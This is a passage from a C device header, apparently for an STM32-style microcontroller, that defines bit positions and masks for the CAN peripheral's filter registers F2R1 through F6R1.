0x00080000 */ #define CAN_F2R1_FB19 CAN_F2R1_FB19_Msk /*!<Filter bit 19 */ #define CAN_F2R1_FB20_Pos (20U) #define CAN_F2R1_FB20_Msk (0x1U << CAN_F2R1_FB20_Pos) /*!< 0x00100000 */ #define CAN_F2R1_FB20 CAN_F2R1_FB20_Msk /*!<Filter bit 20 */ #define CAN_F2R1_FB21_Pos (21U) #define CAN_F2R1_FB21_Msk (0x1U << CAN_F2R1_FB21_Pos) /*!< 0x00200000 */ #define CAN_F2R1_FB21 CAN_F2R1_FB21_Msk /*!<Filter bit 21 */ #define CAN_F2R1_FB22_Pos (22U) #define CAN_F2R1_FB22_Msk (0x1U << CAN_F2R1_FB22_Pos) /*!< 0x00400000 */ #define CAN_F2R1_FB22 CAN_F2R1_FB22_Msk /*!<Filter bit 22 */ #define CAN_F2R1_FB23_Pos (23U) #define CAN_F2R1_FB23_Msk (0x1U << CAN_F2R1_FB23_Pos) /*!< 0x00800000 */ #define CAN_F2R1_FB23 CAN_F2R1_FB23_Msk /*!<Filter bit 23 */ #define CAN_F2R1_FB24_Pos (24U) #define CAN_F2R1_FB24_Msk (0x1U << CAN_F2R1_FB24_Pos) /*!< 0x01000000 */ #define CAN_F2R1_FB24 CAN_F2R1_FB24_Msk /*!<Filter bit 24 */ #define CAN_F2R1_FB25_Pos (25U) #define CAN_F2R1_FB25_Msk (0x1U << CAN_F2R1_FB25_Pos) /*!< 0x02000000 */ #define CAN_F2R1_FB25 CAN_F2R1_FB25_Msk /*!<Filter bit 25 */ #define CAN_F2R1_FB26_Pos (26U) #define CAN_F2R1_FB26_Msk (0x1U << CAN_F2R1_FB26_Pos) /*!< 0x04000000 */ #define CAN_F2R1_FB26 CAN_F2R1_FB26_Msk /*!<Filter bit 26 */ #define CAN_F2R1_FB27_Pos (27U) #define CAN_F2R1_FB27_Msk (0x1U << CAN_F2R1_FB27_Pos) /*!< 0x08000000 */ #define CAN_F2R1_FB27 CAN_F2R1_FB27_Msk /*!<Filter bit 27 */ #define CAN_F2R1_FB28_Pos (28U) #define CAN_F2R1_FB28_Msk (0x1U << CAN_F2R1_FB28_Pos) /*!< 0x10000000 */ #define CAN_F2R1_FB28 CAN_F2R1_FB28_Msk /*!<Filter bit 28 */ #define CAN_F2R1_FB29_Pos (29U) #define CAN_F2R1_FB29_Msk (0x1U << CAN_F2R1_FB29_Pos) /*!< 0x20000000 */ #define CAN_F2R1_FB29 CAN_F2R1_FB29_Msk /*!<Filter bit 29 */ #define CAN_F2R1_FB30_Pos (30U) #define CAN_F2R1_FB30_Msk (0x1U << CAN_F2R1_FB30_Pos) /*!< 0x40000000 */ #define CAN_F2R1_FB30 CAN_F2R1_FB30_Msk /*!<Filter bit 30 */ #define CAN_F2R1_FB31_Pos (31U) #define CAN_F2R1_FB31_Msk (0x1U << CAN_F2R1_FB31_Pos) /*!< 0x80000000 */ #define CAN_F2R1_FB31 CAN_F2R1_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F3R1 register *******************/ #define CAN_F3R1_FB0_Pos (0U) #define CAN_F3R1_FB0_Msk (0x1U << CAN_F3R1_FB0_Pos) /*!< 0x00000001 */ #define CAN_F3R1_FB0 CAN_F3R1_FB0_Msk /*!<Filter bit 0 */ #define CAN_F3R1_FB1_Pos (1U) #define CAN_F3R1_FB1_Msk (0x1U << CAN_F3R1_FB1_Pos) /*!< 0x00000002 */ #define CAN_F3R1_FB1 CAN_F3R1_FB1_Msk /*!<Filter bit 1 */ #define CAN_F3R1_FB2_Pos (2U) #define CAN_F3R1_FB2_Msk (0x1U << CAN_F3R1_FB2_Pos) /*!< 0x00000004 */ #define CAN_F3R1_FB2 CAN_F3R1_FB2_Msk /*!<Filter bit 2 */ #define CAN_F3R1_FB3_Pos (3U) #define CAN_F3R1_FB3_Msk (0x1U << CAN_F3R1_FB3_Pos) /*!< 0x00000008 */ #define CAN_F3R1_FB3 CAN_F3R1_FB3_Msk /*!<Filter bit 3 */ #define CAN_F3R1_FB4_Pos (4U) #define CAN_F3R1_FB4_Msk (0x1U << CAN_F3R1_FB4_Pos) /*!< 0x00000010 */ #define CAN_F3R1_FB4 CAN_F3R1_FB4_Msk /*!<Filter bit 4 */ #define CAN_F3R1_FB5_Pos (5U) #define CAN_F3R1_FB5_Msk (0x1U << CAN_F3R1_FB5_Pos) /*!< 0x00000020 */ #define CAN_F3R1_FB5 CAN_F3R1_FB5_Msk /*!<Filter bit 5 */ #define CAN_F3R1_FB6_Pos (6U) #define CAN_F3R1_FB6_Msk (0x1U << CAN_F3R1_FB6_Pos) /*!< 0x00000040 */ #define CAN_F3R1_FB6 CAN_F3R1_FB6_Msk /*!<Filter bit 6 */ #define CAN_F3R1_FB7_Pos (7U) #define CAN_F3R1_FB7_Msk (0x1U << CAN_F3R1_FB7_Pos) /*!< 0x00000080 */ #define CAN_F3R1_FB7 CAN_F3R1_FB7_Msk /*!<Filter bit 7 */ #define CAN_F3R1_FB8_Pos (8U) #define CAN_F3R1_FB8_Msk (0x1U << CAN_F3R1_FB8_Pos) /*!< 0x00000100 */ #define CAN_F3R1_FB8 CAN_F3R1_FB8_Msk /*!<Filter bit 8 */ #define CAN_F3R1_FB9_Pos (9U) #define CAN_F3R1_FB9_Msk (0x1U << CAN_F3R1_FB9_Pos) /*!< 0x00000200 */ #define CAN_F3R1_FB9 CAN_F3R1_FB9_Msk /*!<Filter bit 9 */ #define CAN_F3R1_FB10_Pos (10U) #define CAN_F3R1_FB10_Msk (0x1U << CAN_F3R1_FB10_Pos) /*!< 0x00000400 */ #define CAN_F3R1_FB10 CAN_F3R1_FB10_Msk /*!<Filter bit 10 */ #define CAN_F3R1_FB11_Pos (11U) #define CAN_F3R1_FB11_Msk (0x1U << CAN_F3R1_FB11_Pos) /*!< 0x00000800 */ #define CAN_F3R1_FB11 CAN_F3R1_FB11_Msk /*!<Filter bit 11 */ #define CAN_F3R1_FB12_Pos (12U) #define CAN_F3R1_FB12_Msk (0x1U << CAN_F3R1_FB12_Pos) /*!< 0x00001000 */ #define CAN_F3R1_FB12 CAN_F3R1_FB12_Msk /*!<Filter bit 12 */ #define CAN_F3R1_FB13_Pos (13U) #define CAN_F3R1_FB13_Msk (0x1U << CAN_F3R1_FB13_Pos) /*!< 0x00002000 */ #define CAN_F3R1_FB13 CAN_F3R1_FB13_Msk /*!<Filter bit 13 */ #define CAN_F3R1_FB14_Pos (14U) #define CAN_F3R1_FB14_Msk (0x1U << CAN_F3R1_FB14_Pos) /*!< 0x00004000 */ #define CAN_F3R1_FB14 CAN_F3R1_FB14_Msk /*!<Filter bit 14 */ #define CAN_F3R1_FB15_Pos (15U) #define CAN_F3R1_FB15_Msk (0x1U << CAN_F3R1_FB15_Pos) /*!< 0x00008000 */ #define CAN_F3R1_FB15 CAN_F3R1_FB15_Msk /*!<Filter bit 15 */ #define CAN_F3R1_FB16_Pos (16U) #define CAN_F3R1_FB16_Msk (0x1U << CAN_F3R1_FB16_Pos) /*!< 0x00010000 */ #define CAN_F3R1_FB16 CAN_F3R1_FB16_Msk /*!<Filter bit 16 */ #define CAN_F3R1_FB17_Pos (17U) #define CAN_F3R1_FB17_Msk (0x1U << CAN_F3R1_FB17_Pos) /*!< 0x00020000 */ #define CAN_F3R1_FB17 CAN_F3R1_FB17_Msk /*!<Filter bit 17 */ #define CAN_F3R1_FB18_Pos (18U) #define CAN_F3R1_FB18_Msk (0x1U << CAN_F3R1_FB18_Pos) /*!< 0x00040000 */ #define CAN_F3R1_FB18 CAN_F3R1_FB18_Msk /*!<Filter bit 18 */ #define CAN_F3R1_FB19_Pos (19U) #define CAN_F3R1_FB19_Msk (0x1U << CAN_F3R1_FB19_Pos) /*!< 0x00080000 */ #define CAN_F3R1_FB19 CAN_F3R1_FB19_Msk /*!<Filter bit 19 */ #define CAN_F3R1_FB20_Pos (20U) #define CAN_F3R1_FB20_Msk (0x1U << CAN_F3R1_FB20_Pos) /*!< 0x00100000 */ #define CAN_F3R1_FB20 CAN_F3R1_FB20_Msk /*!<Filter bit 20 */ #define CAN_F3R1_FB21_Pos (21U) #define CAN_F3R1_FB21_Msk (0x1U << CAN_F3R1_FB21_Pos) /*!< 0x00200000 */ #define CAN_F3R1_FB21 CAN_F3R1_FB21_Msk /*!<Filter bit 21 */ #define CAN_F3R1_FB22_Pos (22U) #define CAN_F3R1_FB22_Msk (0x1U << CAN_F3R1_FB22_Pos) /*!< 0x00400000 */ #define CAN_F3R1_FB22 CAN_F3R1_FB22_Msk /*!<Filter bit 22 */ #define CAN_F3R1_FB23_Pos (23U) #define CAN_F3R1_FB23_Msk (0x1U << CAN_F3R1_FB23_Pos) /*!< 0x00800000 */ #define CAN_F3R1_FB23 CAN_F3R1_FB23_Msk /*!<Filter bit 23 */ #define CAN_F3R1_FB24_Pos (24U) #define CAN_F3R1_FB24_Msk (0x1U << CAN_F3R1_FB24_Pos) /*!< 0x01000000 */ #define CAN_F3R1_FB24 CAN_F3R1_FB24_Msk /*!<Filter bit 24 */ #define CAN_F3R1_FB25_Pos (25U) #define CAN_F3R1_FB25_Msk (0x1U << CAN_F3R1_FB25_Pos) /*!< 0x02000000 */ #define CAN_F3R1_FB25 CAN_F3R1_FB25_Msk /*!<Filter bit 25 */ #define CAN_F3R1_FB26_Pos (26U) #define CAN_F3R1_FB26_Msk (0x1U << CAN_F3R1_FB26_Pos) /*!< 0x04000000 */ #define CAN_F3R1_FB26 CAN_F3R1_FB26_Msk /*!<Filter bit 26 */ #define CAN_F3R1_FB27_Pos (27U) #define CAN_F3R1_FB27_Msk (0x1U << CAN_F3R1_FB27_Pos) /*!< 0x08000000 */ #define CAN_F3R1_FB27 CAN_F3R1_FB27_Msk /*!<Filter bit 27 */ #define CAN_F3R1_FB28_Pos (28U) #define CAN_F3R1_FB28_Msk (0x1U << CAN_F3R1_FB28_Pos) /*!< 0x10000000 */ #define CAN_F3R1_FB28 CAN_F3R1_FB28_Msk /*!<Filter bit 28 */ #define CAN_F3R1_FB29_Pos (29U) #define CAN_F3R1_FB29_Msk (0x1U << CAN_F3R1_FB29_Pos) /*!< 0x20000000 */ #define CAN_F3R1_FB29 CAN_F3R1_FB29_Msk /*!<Filter bit 29 */ #define CAN_F3R1_FB30_Pos (30U) #define CAN_F3R1_FB30_Msk (0x1U << CAN_F3R1_FB30_Pos) /*!< 0x40000000 */ #define CAN_F3R1_FB30 CAN_F3R1_FB30_Msk /*!<Filter bit 30 */ #define CAN_F3R1_FB31_Pos (31U) #define CAN_F3R1_FB31_Msk (0x1U << CAN_F3R1_FB31_Pos) /*!< 0x80000000 */ #define CAN_F3R1_FB31 CAN_F3R1_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F4R1 register *******************/ #define CAN_F4R1_FB0_Pos (0U) #define CAN_F4R1_FB0_Msk (0x1U << CAN_F4R1_FB0_Pos) /*!< 0x00000001 */ #define CAN_F4R1_FB0 CAN_F4R1_FB0_Msk /*!<Filter bit 0 */ #define CAN_F4R1_FB1_Pos (1U) #define CAN_F4R1_FB1_Msk (0x1U << CAN_F4R1_FB1_Pos) /*!< 0x00000002 */ #define CAN_F4R1_FB1 CAN_F4R1_FB1_Msk /*!<Filter bit 1 */ #define CAN_F4R1_FB2_Pos (2U) #define CAN_F4R1_FB2_Msk (0x1U << CAN_F4R1_FB2_Pos) /*!< 0x00000004 */ #define CAN_F4R1_FB2 CAN_F4R1_FB2_Msk /*!<Filter bit 2 */ #define CAN_F4R1_FB3_Pos (3U) #define CAN_F4R1_FB3_Msk (0x1U << CAN_F4R1_FB3_Pos) /*!< 0x00000008 */ #define CAN_F4R1_FB3 CAN_F4R1_FB3_Msk /*!<Filter bit 3 */ #define CAN_F4R1_FB4_Pos (4U) #define CAN_F4R1_FB4_Msk (0x1U << CAN_F4R1_FB4_Pos) /*!< 0x00000010 */ #define CAN_F4R1_FB4 CAN_F4R1_FB4_Msk /*!<Filter bit 4 */ #define CAN_F4R1_FB5_Pos (5U) #define CAN_F4R1_FB5_Msk (0x1U << CAN_F4R1_FB5_Pos) /*!< 0x00000020 */ #define CAN_F4R1_FB5 CAN_F4R1_FB5_Msk /*!<Filter bit 5 */ #define CAN_F4R1_FB6_Pos (6U) #define CAN_F4R1_FB6_Msk (0x1U << CAN_F4R1_FB6_Pos) /*!< 0x00000040 */ #define CAN_F4R1_FB6 CAN_F4R1_FB6_Msk /*!<Filter bit 6 */ #define CAN_F4R1_FB7_Pos (7U) #define CAN_F4R1_FB7_Msk (0x1U << CAN_F4R1_FB7_Pos) /*!< 0x00000080 */ #define CAN_F4R1_FB7 CAN_F4R1_FB7_Msk /*!<Filter bit 7 */ #define CAN_F4R1_FB8_Pos (8U) #define CAN_F4R1_FB8_Msk (0x1U << CAN_F4R1_FB8_Pos) /*!< 0x00000100 */ #define CAN_F4R1_FB8 CAN_F4R1_FB8_Msk /*!<Filter bit 8 */ #define CAN_F4R1_FB9_Pos (9U) #define CAN_F4R1_FB9_Msk (0x1U << CAN_F4R1_FB9_Pos) /*!< 0x00000200 */ #define CAN_F4R1_FB9 CAN_F4R1_FB9_Msk /*!<Filter bit 9 */ #define CAN_F4R1_FB10_Pos (10U) #define CAN_F4R1_FB10_Msk (0x1U << CAN_F4R1_FB10_Pos) /*!< 0x00000400 */ #define CAN_F4R1_FB10 CAN_F4R1_FB10_Msk /*!<Filter bit 10 */ #define CAN_F4R1_FB11_Pos (11U) #define CAN_F4R1_FB11_Msk (0x1U << CAN_F4R1_FB11_Pos) /*!< 0x00000800 */ #define CAN_F4R1_FB11 CAN_F4R1_FB11_Msk /*!<Filter bit 11 */ #define CAN_F4R1_FB12_Pos (12U) #define CAN_F4R1_FB12_Msk (0x1U << CAN_F4R1_FB12_Pos) /*!< 0x00001000 */ #define CAN_F4R1_FB12 CAN_F4R1_FB12_Msk /*!<Filter bit 12 */ #define CAN_F4R1_FB13_Pos (13U) #define CAN_F4R1_FB13_Msk (0x1U << CAN_F4R1_FB13_Pos) /*!< 0x00002000 */ #define CAN_F4R1_FB13 CAN_F4R1_FB13_Msk /*!<Filter bit 13 */ #define CAN_F4R1_FB14_Pos (14U) #define CAN_F4R1_FB14_Msk (0x1U << CAN_F4R1_FB14_Pos) /*!< 0x00004000 */ #define CAN_F4R1_FB14 CAN_F4R1_FB14_Msk /*!<Filter bit 14 */ #define CAN_F4R1_FB15_Pos (15U) #define CAN_F4R1_FB15_Msk (0x1U << CAN_F4R1_FB15_Pos) /*!< 0x00008000 */ #define CAN_F4R1_FB15 CAN_F4R1_FB15_Msk /*!<Filter bit 15 */ #define CAN_F4R1_FB16_Pos (16U) #define CAN_F4R1_FB16_Msk (0x1U << CAN_F4R1_FB16_Pos) /*!< 0x00010000 */ #define CAN_F4R1_FB16 CAN_F4R1_FB16_Msk /*!<Filter bit 16 */ #define CAN_F4R1_FB17_Pos (17U) #define CAN_F4R1_FB17_Msk (0x1U << CAN_F4R1_FB17_Pos) /*!< 0x00020000 */ #define CAN_F4R1_FB17 CAN_F4R1_FB17_Msk /*!<Filter bit 17 */ #define CAN_F4R1_FB18_Pos (18U) #define CAN_F4R1_FB18_Msk (0x1U << CAN_F4R1_FB18_Pos) /*!< 0x00040000 */ #define CAN_F4R1_FB18 CAN_F4R1_FB18_Msk /*!<Filter bit 18 */ #define CAN_F4R1_FB19_Pos (19U) #define CAN_F4R1_FB19_Msk (0x1U << CAN_F4R1_FB19_Pos) /*!< 0x00080000 */ #define CAN_F4R1_FB19 CAN_F4R1_FB19_Msk /*!<Filter bit 19 */ #define CAN_F4R1_FB20_Pos (20U) #define CAN_F4R1_FB20_Msk (0x1U << CAN_F4R1_FB20_Pos) /*!< 0x00100000 */ #define CAN_F4R1_FB20 CAN_F4R1_FB20_Msk /*!<Filter bit 20 */ #define CAN_F4R1_FB21_Pos (21U) #define CAN_F4R1_FB21_Msk (0x1U << CAN_F4R1_FB21_Pos) /*!< 0x00200000 */ #define CAN_F4R1_FB21 CAN_F4R1_FB21_Msk /*!<Filter bit 21 */ #define CAN_F4R1_FB22_Pos (22U) #define CAN_F4R1_FB22_Msk (0x1U << CAN_F4R1_FB22_Pos) /*!< 0x00400000 */ #define CAN_F4R1_FB22 CAN_F4R1_FB22_Msk /*!<Filter bit 22 */ #define CAN_F4R1_FB23_Pos (23U) #define CAN_F4R1_FB23_Msk (0x1U << CAN_F4R1_FB23_Pos) /*!< 0x00800000 */ #define CAN_F4R1_FB23 CAN_F4R1_FB23_Msk /*!<Filter bit 23 */ #define CAN_F4R1_FB24_Pos (24U) #define CAN_F4R1_FB24_Msk (0x1U << CAN_F4R1_FB24_Pos) /*!< 0x01000000 */ #define CAN_F4R1_FB24 CAN_F4R1_FB24_Msk /*!<Filter bit 24 */ #define CAN_F4R1_FB25_Pos (25U) #define CAN_F4R1_FB25_Msk (0x1U << CAN_F4R1_FB25_Pos) /*!< 0x02000000 */ #define CAN_F4R1_FB25 CAN_F4R1_FB25_Msk /*!<Filter bit 25 */ #define CAN_F4R1_FB26_Pos (26U) #define CAN_F4R1_FB26_Msk (0x1U << CAN_F4R1_FB26_Pos) /*!< 0x04000000 */ #define CAN_F4R1_FB26 CAN_F4R1_FB26_Msk /*!<Filter bit 26 */ #define CAN_F4R1_FB27_Pos (27U) #define CAN_F4R1_FB27_Msk (0x1U << CAN_F4R1_FB27_Pos) /*!< 0x08000000 */ #define CAN_F4R1_FB27 CAN_F4R1_FB27_Msk /*!<Filter bit 27 */ #define CAN_F4R1_FB28_Pos (28U) #define CAN_F4R1_FB28_Msk (0x1U << CAN_F4R1_FB28_Pos) /*!< 0x10000000 */ #define CAN_F4R1_FB28 CAN_F4R1_FB28_Msk /*!<Filter bit 28 */ #define CAN_F4R1_FB29_Pos (29U) #define CAN_F4R1_FB29_Msk (0x1U << CAN_F4R1_FB29_Pos) /*!< 0x20000000 */ #define CAN_F4R1_FB29 CAN_F4R1_FB29_Msk /*!<Filter bit 29 */ #define CAN_F4R1_FB30_Pos (30U) #define CAN_F4R1_FB30_Msk (0x1U << CAN_F4R1_FB30_Pos) /*!< 0x40000000 */ #define CAN_F4R1_FB30 CAN_F4R1_FB30_Msk /*!<Filter bit 30 */ #define CAN_F4R1_FB31_Pos (31U) #define CAN_F4R1_FB31_Msk (0x1U << CAN_F4R1_FB31_Pos) /*!< 0x80000000 */ #define CAN_F4R1_FB31 CAN_F4R1_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F5R1 register *******************/ #define CAN_F5R1_FB0_Pos (0U) #define CAN_F5R1_FB0_Msk (0x1U << CAN_F5R1_FB0_Pos) /*!< 0x00000001 */ #define CAN_F5R1_FB0 CAN_F5R1_FB0_Msk /*!<Filter bit 0 */ #define CAN_F5R1_FB1_Pos (1U) #define CAN_F5R1_FB1_Msk (0x1U << CAN_F5R1_FB1_Pos) /*!< 0x00000002 */ #define CAN_F5R1_FB1 CAN_F5R1_FB1_Msk /*!<Filter bit 1 */ #define CAN_F5R1_FB2_Pos (2U) #define CAN_F5R1_FB2_Msk (0x1U << CAN_F5R1_FB2_Pos) /*!< 0x00000004 */ #define CAN_F5R1_FB2 CAN_F5R1_FB2_Msk /*!<Filter bit 2 */ #define CAN_F5R1_FB3_Pos (3U) #define CAN_F5R1_FB3_Msk (0x1U << CAN_F5R1_FB3_Pos) /*!< 0x00000008 */ #define CAN_F5R1_FB3 CAN_F5R1_FB3_Msk /*!<Filter bit 3 */ #define CAN_F5R1_FB4_Pos (4U) #define CAN_F5R1_FB4_Msk (0x1U << CAN_F5R1_FB4_Pos) /*!< 0x00000010 */ #define CAN_F5R1_FB4 CAN_F5R1_FB4_Msk /*!<Filter bit 4 */ #define CAN_F5R1_FB5_Pos (5U) #define CAN_F5R1_FB5_Msk (0x1U << CAN_F5R1_FB5_Pos) /*!< 0x00000020 */ #define CAN_F5R1_FB5 CAN_F5R1_FB5_Msk /*!<Filter bit 5 */ #define CAN_F5R1_FB6_Pos (6U) #define CAN_F5R1_FB6_Msk (0x1U << CAN_F5R1_FB6_Pos) /*!< 0x00000040 */ #define CAN_F5R1_FB6 CAN_F5R1_FB6_Msk /*!<Filter bit 6 */ #define CAN_F5R1_FB7_Pos (7U) #define CAN_F5R1_FB7_Msk (0x1U << CAN_F5R1_FB7_Pos) /*!< 0x00000080 */ #define CAN_F5R1_FB7 CAN_F5R1_FB7_Msk /*!<Filter bit 7 */ #define CAN_F5R1_FB8_Pos (8U) #define CAN_F5R1_FB8_Msk (0x1U << CAN_F5R1_FB8_Pos) /*!< 0x00000100 */ #define CAN_F5R1_FB8 CAN_F5R1_FB8_Msk /*!<Filter bit 8 */ #define CAN_F5R1_FB9_Pos (9U) #define CAN_F5R1_FB9_Msk (0x1U << CAN_F5R1_FB9_Pos) /*!< 0x00000200 */ #define CAN_F5R1_FB9 CAN_F5R1_FB9_Msk /*!<Filter bit 9 */ #define CAN_F5R1_FB10_Pos (10U) #define CAN_F5R1_FB10_Msk (0x1U << CAN_F5R1_FB10_Pos) /*!< 0x00000400 */ #define CAN_F5R1_FB10 CAN_F5R1_FB10_Msk /*!<Filter bit 10 */ #define CAN_F5R1_FB11_Pos (11U) #define CAN_F5R1_FB11_Msk (0x1U << CAN_F5R1_FB11_Pos) /*!< 0x00000800 */ #define CAN_F5R1_FB11 CAN_F5R1_FB11_Msk /*!<Filter bit 11 */ #define CAN_F5R1_FB12_Pos (12U) #define CAN_F5R1_FB12_Msk (0x1U << CAN_F5R1_FB12_Pos) /*!< 0x00001000 */ #define CAN_F5R1_FB12 CAN_F5R1_FB12_Msk /*!<Filter bit 12 */ #define CAN_F5R1_FB13_Pos (13U) #define CAN_F5R1_FB13_Msk (0x1U << CAN_F5R1_FB13_Pos) /*!< 0x00002000 */ #define CAN_F5R1_FB13 CAN_F5R1_FB13_Msk /*!<Filter bit 13 */ #define CAN_F5R1_FB14_Pos (14U) #define CAN_F5R1_FB14_Msk (0x1U << CAN_F5R1_FB14_Pos) /*!< 0x00004000 */ #define CAN_F5R1_FB14 CAN_F5R1_FB14_Msk /*!<Filter bit 14 */ #define CAN_F5R1_FB15_Pos (15U) #define CAN_F5R1_FB15_Msk (0x1U << CAN_F5R1_FB15_Pos) /*!< 0x00008000 */ #define CAN_F5R1_FB15 CAN_F5R1_FB15_Msk /*!<Filter bit 15 */ #define CAN_F5R1_FB16_Pos (16U) #define CAN_F5R1_FB16_Msk (0x1U << CAN_F5R1_FB16_Pos) /*!< 0x00010000 */ #define CAN_F5R1_FB16 CAN_F5R1_FB16_Msk /*!<Filter bit 16 */ #define CAN_F5R1_FB17_Pos (17U) #define CAN_F5R1_FB17_Msk (0x1U << CAN_F5R1_FB17_Pos) /*!< 0x00020000 */ #define CAN_F5R1_FB17 CAN_F5R1_FB17_Msk /*!<Filter bit 17 */ #define CAN_F5R1_FB18_Pos (18U) #define CAN_F5R1_FB18_Msk (0x1U << CAN_F5R1_FB18_Pos) /*!< 0x00040000 */ #define CAN_F5R1_FB18 CAN_F5R1_FB18_Msk /*!<Filter bit 18 */ #define CAN_F5R1_FB19_Pos (19U) #define CAN_F5R1_FB19_Msk (0x1U << CAN_F5R1_FB19_Pos) /*!< 0x00080000 */ #define CAN_F5R1_FB19 CAN_F5R1_FB19_Msk /*!<Filter bit 19 */ #define CAN_F5R1_FB20_Pos (20U) #define CAN_F5R1_FB20_Msk (0x1U << CAN_F5R1_FB20_Pos) /*!< 0x00100000 */ #define CAN_F5R1_FB20 CAN_F5R1_FB20_Msk /*!<Filter bit 20 */ #define CAN_F5R1_FB21_Pos (21U) #define CAN_F5R1_FB21_Msk (0x1U << CAN_F5R1_FB21_Pos) /*!< 0x00200000 */ #define CAN_F5R1_FB21 CAN_F5R1_FB21_Msk /*!<Filter bit 21 */ #define CAN_F5R1_FB22_Pos (22U) #define CAN_F5R1_FB22_Msk (0x1U << CAN_F5R1_FB22_Pos) /*!< 0x00400000 */ #define CAN_F5R1_FB22 CAN_F5R1_FB22_Msk /*!<Filter bit 22 */ #define CAN_F5R1_FB23_Pos (23U) #define CAN_F5R1_FB23_Msk (0x1U << CAN_F5R1_FB23_Pos) /*!< 0x00800000 */ #define CAN_F5R1_FB23 CAN_F5R1_FB23_Msk /*!<Filter bit 23 */ #define CAN_F5R1_FB24_Pos (24U) #define CAN_F5R1_FB24_Msk (0x1U << CAN_F5R1_FB24_Pos) /*!< 0x01000000 */ #define CAN_F5R1_FB24 CAN_F5R1_FB24_Msk /*!<Filter bit 24 */ #define CAN_F5R1_FB25_Pos (25U) #define CAN_F5R1_FB25_Msk (0x1U << CAN_F5R1_FB25_Pos) /*!< 0x02000000 */ #define CAN_F5R1_FB25 CAN_F5R1_FB25_Msk /*!<Filter bit 25 */ #define CAN_F5R1_FB26_Pos (26U) #define CAN_F5R1_FB26_Msk (0x1U << CAN_F5R1_FB26_Pos) /*!< 0x04000000 */ #define CAN_F5R1_FB26 CAN_F5R1_FB26_Msk /*!<Filter bit 26 */ #define CAN_F5R1_FB27_Pos (27U) #define CAN_F5R1_FB27_Msk (0x1U << CAN_F5R1_FB27_Pos) /*!< 0x08000000 */ #define CAN_F5R1_FB27 CAN_F5R1_FB27_Msk /*!<Filter bit 27 */ #define CAN_F5R1_FB28_Pos (28U) #define CAN_F5R1_FB28_Msk (0x1U << CAN_F5R1_FB28_Pos) /*!< 0x10000000 */ #define CAN_F5R1_FB28 CAN_F5R1_FB28_Msk /*!<Filter bit 28 */ #define CAN_F5R1_FB29_Pos (29U) #define CAN_F5R1_FB29_Msk (0x1U << CAN_F5R1_FB29_Pos) /*!< 0x20000000 */ #define CAN_F5R1_FB29 CAN_F5R1_FB29_Msk /*!<Filter bit 29 */ #define CAN_F5R1_FB30_Pos (30U) #define CAN_F5R1_FB30_Msk (0x1U << CAN_F5R1_FB30_Pos) /*!< 0x40000000 */ #define CAN_F5R1_FB30 CAN_F5R1_FB30_Msk /*!<Filter bit 30 */ #define CAN_F5R1_FB31_Pos (31U) #define CAN_F5R1_FB31_Msk (0x1U << CAN_F5R1_FB31_Pos) /*!< 0x80000000 */ #define CAN_F5R1_FB31 CAN_F5R1_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F6R1 register *******************/ #define CAN_F6R1_FB0_Pos (0U) #define CAN_F6R1_FB0_Msk (0x1U << CAN_F6R1_FB0_Pos) /*!< 0x00000001 */ #define CAN_F6R1_FB0 CAN_F6R1_FB0_Msk /*!<Filter bit 0 */ #define CAN_F6R1_FB1_Pos (1U) #define CAN_F6R1_FB1_Msk (0x1U << CAN_F6R1_FB1_Pos) /*!< 0x00000002 */ #define CAN_F6R1_FB1 CAN_F6R1_FB1_Msk /*!<Filter bit 1 */ #define CAN_F6R1_FB2_Pos (2U) #define CAN_F6R1_FB2_Msk (0x1U << CAN_F6R1_FB2_Pos) /*!< 0x00000004 */ #define CAN_F6R1_FB2 CAN_F6R1_FB2_Msk /*!<Filter bit 2 */ #define CAN_F6R1_FB3_Pos (3U) #define CAN_F6R1_FB3_Msk (0x1U << CAN_F6R1_FB3_Pos) /*!< 0x00000008 */ #define CAN_F6R1_FB3 CAN_F6R1_FB3_Msk /*!<Filter bit 3 */ #define CAN_F6R1_FB4_Pos (4U) #define CAN_F6R1_FB4_Msk (0x1U << CAN_F6R1_FB4_Pos) /*!< 0x00000010 */ #define CAN_F6R1_FB4 CAN_F6R1_FB4_Msk /*!<Filter bit 4 */ #define CAN_F6R1_FB5_Pos (5U) #define CAN_F6R1_FB5_Msk (0x1U << CAN_F6R1_FB5_Pos) /*!< 0x00000020 */ #define CAN_F6R1_FB5 CAN_F6R1_FB5_Msk /*!<Filter bit 5 */ #define CAN_F6R1_FB6_Pos (6U) #define CAN_F6R1_FB6_Msk (0x1U << CAN_F6R1_FB6_Pos) /*!< 0x00000040 */ #define CAN_F6R1_FB6 CAN_F6R1_FB6_Msk /*!<Filter bit 6 */ #define CAN_F6R1_FB7_Pos (7U) #define CAN_F6R1_FB7_Msk (0x1U << CAN_F6R1_FB7_Pos) /*!< 0x00000080 */ #define CAN_F6R1_FB7 CAN_F6R1_FB7_Msk /*!<Filter bit 7 */ #define CAN_F6R1_FB8_Pos (8U) #define CAN_F6R1_FB8_Msk (0x1U << CAN_F6R1_FB8_Pos) /*!< 0x00000100 */ #define CAN_F6R1_FB8 CAN_F6R1_FB8_Msk /*!<Filter bit 8 */ #define CAN_F6R1_FB9_Pos (9U) #define CAN_F6R1_FB9_Msk (0x1U << CAN_F6R1_FB9_Pos) /*!< 0x00000200 */ #define CAN_F6R1_FB9 CAN_F6R1_FB9_Msk /*!<Filter bit 9 */ #define CAN_F6R1_FB10_Pos (10U) #define CAN_F6R1_FB10_Msk (0x1U << CAN_F6R1_FB10_Pos) /*!< 0x00000400 */ #define CAN_F6R1_FB10 CAN_F6R1_FB10_Msk /*!<Filter bit 10 */ #define CAN_F6R1_FB11_Pos (11U) #define CAN_F6R1_FB11_Msk (0x1U << CAN_F6R1_FB11_Pos) /*!< 0x00000800 */ #define CAN_F6R1_FB11 CAN_F6R1_FB11_Msk /*!<Filter bit 11 */ #define CAN_F6R1_FB12_Pos (12U) #define CAN_F6R1_FB12_Msk (0x1U << CAN_F6R1_FB12_Pos) /*!< 0x00001000 */ #define CAN_F6R1_FB12 CAN_F6R1_FB12_Msk /*!<Filter bit 12 */ #define CAN_F6R1_FB13_Pos (13U) #define CAN_F6R1_FB13_Msk (0x1U << CAN_F6R1_FB13_Pos) /*!< 0x00002000 */ #define CAN_F6R1_FB13 CAN_F6R1_FB13_Msk /*!<Filter bit 13 */ #define CAN_F6R1_FB14_Pos (14U) #define CAN_F6R1_FB14_Msk (0x1U << CAN_F6R1_FB14_Pos) /*!< 0x00004000 */ #define 